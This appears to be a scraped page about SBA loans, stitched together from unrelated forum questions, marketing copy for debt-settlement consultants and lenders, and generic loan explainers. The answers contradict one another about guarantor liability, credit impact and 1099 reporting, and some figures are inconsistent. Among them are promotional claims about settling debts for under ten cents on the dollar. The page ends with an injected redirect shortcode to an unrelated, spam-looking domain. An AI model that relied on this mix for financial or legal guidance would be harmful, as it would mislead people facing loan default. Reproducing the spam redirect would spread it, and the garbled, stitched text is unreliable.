I have a question about an SBA loan that my ex-husband received several years ago. Because were married at the time, I was required to sign the loan papers. We subsequently divorced. I recently learned that he is 90+ day late in repaying the loan (not the first time he’s been late) and the bank had an atty send him, his 2 business partners and me a letter demanding full payment. My ex has subsequently worked out a repayment plan with the bank and they’ve put collection on hold. If he doesn’t meet those guidelines (and I’m fairly certain he won’t), the will go back to the demand for full payment. His office bldg is collateral, however it’s underwater. He filed bankruptcy about a year ago and included this loan. I’m looking for any advice on what I should be doing at this point to protect myself/my personal credit, and any indication of what I should expect if he does default.
If you have derogatory or no credit history, it can take months or even years of positive credit activity to move your SBSS score significantly higher. It’s vital to build your credit and ensure it’s healthy before you need it.
• Work with the lender. Cooperate with the lender by providing all information requested, so that the lender can complete the evaluation and, if the lender decides to make a deal, submit materials to the SBA, Anderson says. If the loan is approved, you will be notified and requested to sign final loan papers. The lender will then fund the SBA Loan.
3 partners took out loan on a building in California. We have refinanced the building and the bank (1st loan) devauled the building and refinanced our loan, the (2nd sba) is still owed some money on the settlement. They will 1099 us for the remaining balance due. The question is …2 of the three partners have no money and are close to filing chap11. Can the sba go after 1 partner for full amount?
We routinely settle these claims for less than $.10 on the dollar. We get your personal guarantee removed and the liens released on your property. And because the loan was made to your company and not to you, it will not affect your personal credit score. And contrary to what is said above, you will not get a 1099 for the amount of debt that was not repaid. You will be barred from getting another SBA loan, but that is it. You will be free to move on with your life!!!
You may be required to provide additional information related to the specific purpose of the funding you are requesting. For example, if you’re planning to use the loan to buy another business, you need to provide a copy of the purchase contract, the target companies’ financial statements, tax returns, and other details about them.
Your place on the credit spectrum is one factor that will determine which loans you’ll qualify for. You can get your credit report for free from each of the three major credit bureaus — Equifax, Experian and TransUnion — once a year. You can get your FICO score for free from several credit card issuers as well as personal finance websites, including NerdWallet.
Your custom BizAnalyzerTM report and score will give you the information you need to understand your borrowing profile and remove uncertainty. Use the tools that the lenders use, get started with the Biz2Credit BizAnalyzerTM now.
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Hi Janice, unfortunately your question comes up often and you will not like the answer. Every guarantor who signs on the loan documents as a guarantor is individually responsible for the full balance if the other guarantors were to file personal BK. However, you are still able to do what is called an Offer in Compromise ” OIC ” for a settlement much less than the balance owed. An OIC is put in place for borrowers who are able to pay back something without having to file Bankruptcy. Most attorneys have zero experience dealing with SBA defaults, never mind financial documentation. It is typically less expensive and more beneficial to hire a consultant who has experience in the SBA field such as Bridge Management Consulting.
There are two loan approvals you’ll need to obtain. First, your bank must review your application and decide whether you meet their qualifications for funding, subject to SBA approval. Banks are obligated to observe the “credit elsewhere” rule, meaning that if your company is qualified for a loan from any other source without the credit insurance provided by SBA, you should be sent there.
Contrary to what many people think, the SBA itself does not issue loans. Banks, credit unions, community development organizations, microlending institutions, and other partners actually make the loans. For qualifying loans, the SBA guarantees part of their repayment. The maximum guarantee is 85 % for loans under $150,000 and 75 % for loans over $150,000.
It’s possible your partner’s credit might carry the day for you, but that will depend on the bank, the underwriter, etc. Any ding on your credit will show up. You need to demonstrate to the bank you and your partner are a good credit risk. Startup funding is tough, even on its best days. Good luck.
With your strong personal credit and steady revenue, Lending Club, SmartBiz and OnDeck are good choices for expansion or refinancing. If you want the lowest rates, consider SmartBiz, which provides SBA loans. For big investments, OnDeck has the highest loan limit — $500,000 — but the loans will likely cost you more. Lending Club is a middle-ground option, with lower APR than OnDeck and easier qualifications than SmartBiz.
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Your business plan should include current and projected financials, and clearly demonstrate that your business will have enough cash flow to cover ongoing business expenses and the new loan payments. This can give the lender more confidence in your business, increasing your chances at loan approval. Your business plan should include:
SBA Express Loans are another option under the 7(a) program. They give lenders the flexibility to offer a revolving loan structure for a specified period. What this means: you can draw funds out for a certain amount of time, say 1-2 years, paying only interest and treating the funds as a line of credit, before beginning to repay the loan through monthly payments of interest and principal. The maximum term on these loans is seven years.
This is the SBA’s most commonly used — and most flexible — type of loan to help start-up and existing small businesses when they can’t get funding through normal channels. It was named for section 7(a) of the Small Business Act. It’s flexible because it can be used for a variety of purposes, including buying machinery or equipment or furniture, purchasing real estate, leasehold improvements, working capital or even debt refinancing. The maturity term for these loans is up to 10 years for working capital and up to 25 years for fixed assets. In general, the SBA’s maximum exposure for such loans is capped at $1.5 million and since the agency will back up to 75 percent of a 7(a) loan that means a business could borrow up to $2 million. (The SBA’s share of such loans was raised to 90 percent under the American Recovery and Reinvestment Act, which became law in February 2009, but is expected to drop back down unless extended by Congress.) [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]